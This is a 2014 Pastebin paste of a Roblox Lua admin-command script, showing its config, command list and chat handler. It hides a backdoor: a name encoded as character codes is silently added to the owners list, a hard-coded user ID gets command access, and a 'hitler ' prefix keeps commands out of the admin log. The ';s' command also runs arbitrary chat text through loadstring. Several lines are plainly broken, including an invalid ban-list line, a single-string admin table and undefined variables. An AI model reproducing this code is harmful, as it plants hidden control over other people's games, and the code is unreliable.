Advertisement
Jaden11

ITSJADEN2 ADMIN COMAMNDS

Nov 29th, 2014
374
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 83.21 KB | None | 0 0
  1.  
  2. local owners = {"itsJaden2"} --Who can use ;shutdown ;ban ;kick
  3. local admins = {"itsJaden2,RestLessSpirits,Fishy12311,bobololo2,deathwakler3,iAppleSeed,KingThatGhost"}
  4. local tempadmins = {} --Who cannot use ;shutdown ;ban ;kick
  5. localbnland = {Zeromando} --Who's banned forever, and can't join my game
  6. local preflix = ";" --If you wanna change your commands, you can.
  7. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  8. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  9. ---------------------
  10. -- VIP Admin --
  11. ---------------------
  12. local VipAdmin = false -- If someone can have admin for owning an item
  13. local ItemId = 0 -- The item they must own in order to have admin
  14. ---------------------
  15. -- Group Admin --
  16. ---------------------
  17. local GroupAdmin = false -- If a certain group can have admin
  18. local GroupId = 0 -- Sets the group id that can have admin
  19. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  20. ---------------------
  21. -- Tips and Tricks --
  22. ---------------------
  23. --[[
  24. With this admin you can do a command on multiple people at a time;
  25. :kill me,noob1,noob2,random,team-raiders,nonadmins
  26.  
  27. You can also use a variety commands for different people;
  28. all
  29. others
  30. me
  31. team-
  32. admins
  33. nonadmins
  34. random
  35. --]]
  36. ---------------------
  37. -- Commands --
  38. ---------------------
  39. --[[
  40. -- |Temp Admin Commands| --
  41. s print("Hello World") -- Lets you script normally
  42. 2. ;ls print("Hello World") -- Lets you script in localscripts
  43. 3. ;clear -- Will remove all scripts/localscripts and jails
  44. 4. ;m Hello People -- This commands will let you shout a message to everyone on the server
  45. 10.;jump thu -- Makes the player jump
  46. 11. ;sit thu -- Makes the player sit
  47. 12. ;invisible thu -- Makes the player invisible
  48. 13. ;visible thun -- Makes the player visible
  49. 38. ;give thun sword -- Gives the player a tool
  50. 39. ;damage thun -- Damages the player
  51. 40. ;grav thun -- Sets the player's gravity to normal
  52. 41. ;setgrav thun 100 -- Sets the player's gravity
  53. 42. ;nograv thun -- Makes the player have 0 gravity
  54. 43. ;health thun 1337 -- Changes the player's health
  55. 44. ;speed thun 1337 -- Changes the player's walkspeed
  56. 45. ;name thun potato -- Changes the player's name
  57. 46. ;unname thun -- Remove the player's name
  58. 47. ;team thun Raiders -- Changes the player's team
  59. 48. ;stopmusic -- Will stop all music playing in the server
  60. 49. ;teleport thun potato -- Teleports the player
  61. 50. ;change thun kills 1337 -- Changes a player's stat
  62. 59. ;normal thun -- Puts the player back to normal
  63. 66. ;guifix thun -- Will fix trippy/strobe/blind on a player
  64. 70. ;lock thun -- Locks the player
  65. 71. :unlock thun -- Unlocks the player
  66. 75. ;fix -- This will fix the lighting to it's original settings
  67. 76. ;fly thun -- Makes the player fly
  68. 77. ;unfly thun -- Removes fly from the player
  69. 78. ;noclip thun -- Makes the player able to noclip
  70. 79. ;clip thun -- Removes noclipping from the player
  71. 80. ;pm thun Hey bro -- Sends the player a private message
  72. 85. ;place thun 1337 -- Sends a teleporation request to a player to go to a different place
  73. 86. ;char thun 261 -- Will make a player look like a different player ID
  74. 87. ;unchar thun -- Will return the player back to normal
  75. 88. ;h Hello People -- This will shout a hint to everyone
  76. 89. ;rank thun 109373 -- Will show up a message with the person's Role and Rank in a group
  77. 91. ;sword thun -- Will give the player a sword
  78. 97. ;admins -- Shows the admin list
  79. 98. ;bans -- Shows the banlist
  80. 99. ;musiclist -- Shows the music list
  81. 101.:cape thun Really black -- Gives the player a colored cape
  82. 102.:uncape thun -- Removes the player's cape
  83. 103.;loopheal thun -- Will constantly heal the player
  84. 105. ;hat thun 1337 -- Will give the player a hat under the id of 1337
  85. 106. ;unloopheal thun -- Will remove the loopheal on the player
  86. 112.;resetstats thun -- Sets all the stats of a player to 0
  87. 114. ;cmdbar -- Gives the speaker a command bar
  88. 115. ;shirt thun 1337 -- Changes the player's shirt
  89. 116. ;pants thun 1337 -- Changes the player's pants
  90. 117. ;face thun 1337 -- Changes the player's face
  91. 118. ;swagify thun -- Swagifies the player
  92. 119. ;version -- Shows the current version of the admin
  93. 120. ;tm 1337 yolo -- Shows a message for 1337 seconds
  94. 121. ;countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  95. 123. ;lsplr thun print("yolo") -- Creates a localscript inside of a player
  96.  
  97. -- |Admin Commands| --
  98. - ;serverlock -- Locks the server
  99. - ;serverunlock -- Unlocks the server
  100. - ;sm Hello World -- Creates a system message
  101. - ;crash thun -- Crashes a player
  102. - ;admin thun -- Admins a player
  103. - ;unadmin thun -- Unadmins a player
  104. - ;ban thun -- Bans a player
  105. - ;unban thun -- Unbans a player
  106. - ;logs -- Will show all of the commands any admin has used in a game session
  107. - ;shutdown -- Shutsdown the server
  108. - ;starttools thun -- Will give the player starter tools
  109. - ;jail thun -- Puts the player in a jail
  110. - ;unjail thun -- Removes the jail from the player
  111. - ;music 1337 -- Plays a sound from the ID
  112. - ;kick thun -- Removes the player from the game
  113. - ;clone thun -- Creates a clone of the player
  114. - ;kill thu -- Kills the player
  115. - ;respawn thu -- Respawns the player
  116. -- |Owner Commands| --
  117. - ;pa thun -- Makes someone a super admin
  118. - ;unpa thun -- Removes a super admin21. :ff thun -- Adds a forcefield to the player
  119. - ;unff thun -- Removes the forcefield from the player
  120. - ;punish thun -- Punishes the player
  121. - ;unpunish thun -- Unpunishes the player
  122. - ;freeze thun -- Freezes the player
  123. - ;thaw thun -- Thaws the player
  124. - ;heal thun -- Heals the player
  125. - ;god thun -- Makes the player have infinite health
  126. - ;ungod thun -- Makes the player have 100 health
  127. - ;removetools thun -- Removes all tools from the player
  128. - ;btools thun -- Gives the player building tools
  129. - ;startergive thun epic -- Gives a player a gear in their starterpack
  130. - ;tools -- Gives a list of the tools in the lighting
  131. - ;gear thun 1337 -- Gives a player a gear
  132.  
  133. -- |True Owner Commands| --
  134. - ;oa thun -- Makes someone an owner
  135. - ;unoa thun -- Removes an owner
  136. - ;settings -- Shows settings for the commands
  137. --]]
  138. ---------------------
  139. -- Main Script --
  140. ---------------------
  141. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  142.  
  143. function CHEESE()
  144. if game:service("Lighting"):findFirstChild("KACV2") then
  145. owners = {} admins = {} tempadmins = {} banland = {}
  146. for i,v in pairs(game.Lighting.KACV2:children()) do
  147. if v.Name == "Owner" then table.insert(owners, v.Value) end
  148. if v.Name == "Admin" then table.insert(admins, v.Value) end
  149. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  150. if v.Name == "Banland" then table.insert(banland, v.Value) end
  151. if v.Name == "Prefix" then prefix = v.Value end
  152. if v.Name == "FunCommands" then FunCommands = v.Value end
  153. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  154. if v.Name == "GroupId" then GroupId = v.Value end
  155. if v.Name == "GroupRank" then GroupRank = v.Value end
  156. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  157. if v.Name == "ItemId" then ItemId = v.Value end
  158. end
  159. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  160. end
  161.  
  162. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  163. local lobjs = {}
  164. local objects = {}
  165. local logs = {}
  166. local nfs = ""
  167. local slock = false
  168.  
  169. function GetTime()
  170. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  171. if min < 10 then min = "0"..min end
  172. return hour..":"..min
  173. end
  174.  
  175. function ChkOwner(str)
  176. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  177. return false
  178. end
  179.  
  180. function ChkAdmin(str,ck)
  181. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  182. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  183. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  184. return false
  185. end
  186.  
  187. function ChkGroupAdmin(plr)
  188. if GroupAdmin then
  189. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  190. return false
  191. end
  192. end
  193.  
  194. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  195.  
  196. function GetPlr(plr, str)
  197. local plrz = {} str = str:lower()
  198. if str == "all" then plrz = game.Players:children()
  199. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  200. else
  201. local sn = {1} local en = {}
  202. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  203. for x = 1, #sn do
  204. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  205. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  206. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  207. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  208. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  209. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  210. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  211. end end end
  212. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  213. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  214. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  215. end end end
  216. else
  217. for a, plyr in pairs(game.Players:children()) do
  218. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  219. table.insert(plrz, plyr) break
  220. end
  221. end
  222. end
  223. end
  224. end
  225. return plrz
  226. end
  227.  
  228. function Hint(str, plrz, time)
  229. for i, v in pairs(plrz) do
  230. if v and v:findFirstChild("PlayerGui") then
  231. coroutine.resume(coroutine.create(function()
  232. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  233. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  234. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  235. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  236. if not time then wait((#str/19)+2.5) else wait(time) end
  237. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  238. end))
  239. end
  240. end
  241. end
  242.  
  243. function Message(ttl, str, scroll, plrz, time)
  244. for i, v in pairs(plrz) do
  245. if v and v:findFirstChild("PlayerGui") then
  246. coroutine.resume(coroutine.create(function()
  247. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  248. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  249. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  250. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  251. scr.Parent = v.PlayerGui
  252. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  253. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  254. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  255. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  256. end))
  257. end
  258. end
  259. end
  260.  
  261. function RemoveMessage()
  262. for i,v in pairs(game.Players:children()) do
  263. if v and v:findFirstChild("PlayerGui") then
  264. for q,ms in pairs(v.PlayerGui:children()) do
  265. if ms.Name == "MessageGUI" then
  266. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  267. elseif ms.Name == "HintGUI" then
  268. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  269. end
  270. end
  271. end
  272. end
  273. end
  274.  
  275. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  276. _G["RemoveMessage"] = RemoveMessage()
  277.  
  278. function Output(str, plr)
  279. coroutine.resume(coroutine.create(function()
  280. local b, e = loadstring(str)
  281. if not b and plr:findFirstChild("PlayerGui") then
  282. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  283. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  284. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  285. return
  286. end
  287. end))
  288. end
  289.  
  290.  
  291.  
  292. function ScrollGui()
  293. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  294. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  295. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  296. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  297. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  298. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  299. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  300. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  301. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  302. local num = 0
  303. local downv = false
  304. local upv = false
  305.  
  306. down.MouseButton1Down:connect(function() downv = true upv = false
  307. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  308. repeat pos = pos + UDim2.new(0,0,0,-6)
  309. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  310. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  311. end)
  312. down.MouseButton1Up:connect(function() downv = false end)
  313. up.MouseButton1Down:connect(function() upv = true downv = false
  314. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  315. repeat pos = pos + UDim2.new(0,0,0,6)
  316. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  317. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  318. end)
  319. up.MouseButton1Up:connect(function() upv = false end)
  320. return scr, cmf, ent, num
  321. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  322. if not ntab then script:Destroy() end
  323. if not bct then script:Destroy() end
  324.  
  325. function Chat(msg,plr)
  326. coroutine.resume(coroutine.create(function()
  327. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  328. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  329. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  330. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  331. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  332. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  333. if msg:lower() == "cmds" or msg:lower() == "commands" then
  334. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  335. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  336. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  337. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  338. local ost = {"pa plr","unpa plr","nuke plr"}
  339. local tost = {"oa plr","unoa plr","settings"}
  340. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  341. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  342. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  343. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  344. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  345. end
  346.  
  347. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  348.  
  349. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  350. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  351. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  352. for i, v in pairs(owners) do if v:lower() ~= "ThunderBladeWolf" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  353. for i, v in pairs(admins) do if v:lower() ~= "ThunderBladeWolf" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  354. for i, v in pairs(tempadmins) do if v:lower() ~= "ThunderBladeWolf" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  355. end end
  356.  
  357. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  358. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  359. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  360. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  361. end
  362.  
  363. if msg:lower() == "tools" or msg:lower() == "toollist" then
  364. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  365. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  366. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  367. end
  368.  
  369. if msg:lower():sub(1,2) == "s " then
  370. coroutine.resume(coroutine.create(function()
  371. Output(msg:sub(3), plr)
  372. if script:findFirstChild("ScriptBase") then
  373. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  374. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  375. else loadstring(msg:sub(3))()
  376. end
  377. end))
  378. end
  379.  
  380. if msg:lower():sub(1,3) == "ls " then
  381. coroutine.resume(coroutine.create(function()
  382. if script:findFirstChild("LocalScriptBase") then
  383. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  384. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  385. end
  386. end))
  387. end
  388.  
  389. if msg:lower():sub(1,6) == "lsplr " then
  390. local chk1 = msg:lower():sub(7):find(" ") + 6
  391. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  392. for i, v in pairs(plrz) do
  393. coroutine.resume(coroutine.create(function()
  394. if v and v:findFirstChild("PlayerGui") then
  395. if script:findFirstChild("LocalScriptBase") then
  396. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  397. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  398. end
  399. end
  400. end))
  401. end
  402. end
  403.  
  404. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  405. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  406. RemoveMessage()
  407. objects = {}
  408. end
  409.  
  410. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  411. game.Lighting.Ambient = origsettings.abt
  412. game.Lighting.Brightness = origsettings.brt
  413. game.Lighting.TimeOfDay = origsettings.time
  414. game.Lighting.FogColor = origsettings.fclr
  415. game.Lighting.FogEnd = origsettings.fe
  416. game.Lighting.FogStart = origsettings.fs
  417. for i, v in pairs(lobjs) do v:Destroy() end
  418. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  419. end
  420.  
  421. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  422. coroutine.resume(coroutine.create(function()
  423. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  424. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  425. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  426. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  427. end))
  428. end
  429.  
  430. if msg:lower():sub(1,10) == "countdown " then
  431. local num = math.min(tonumber(msg:sub(11)),120)
  432. for i = num, 1, -1 do
  433. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  434. wait(1)
  435. end
  436. end
  437.  
  438. if msg:lower():sub(1,3) == "tm " then
  439. local chk1 = msg:lower():sub(4):find(" ") + 3
  440. local num = tonumber(msg:sub(4,chk1-1))
  441. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  442. end
  443.  
  444. if msg:lower():sub(1,2) == "m " then
  445. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  446. end
  447.  
  448. if msg:lower():sub(1,2) == "h " then
  449. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  450. end
  451.  
  452. if msg:lower():sub(1,3) == "pm " then
  453. local chk1 = msg:lower():sub(4):find(" ") + 3
  454. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  455. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  456. end
  457.  
  458. if msg:lower():sub(1,11) == "resetstats " then
  459. local plrz = GetPlr(plr, msg:lower():sub(12))
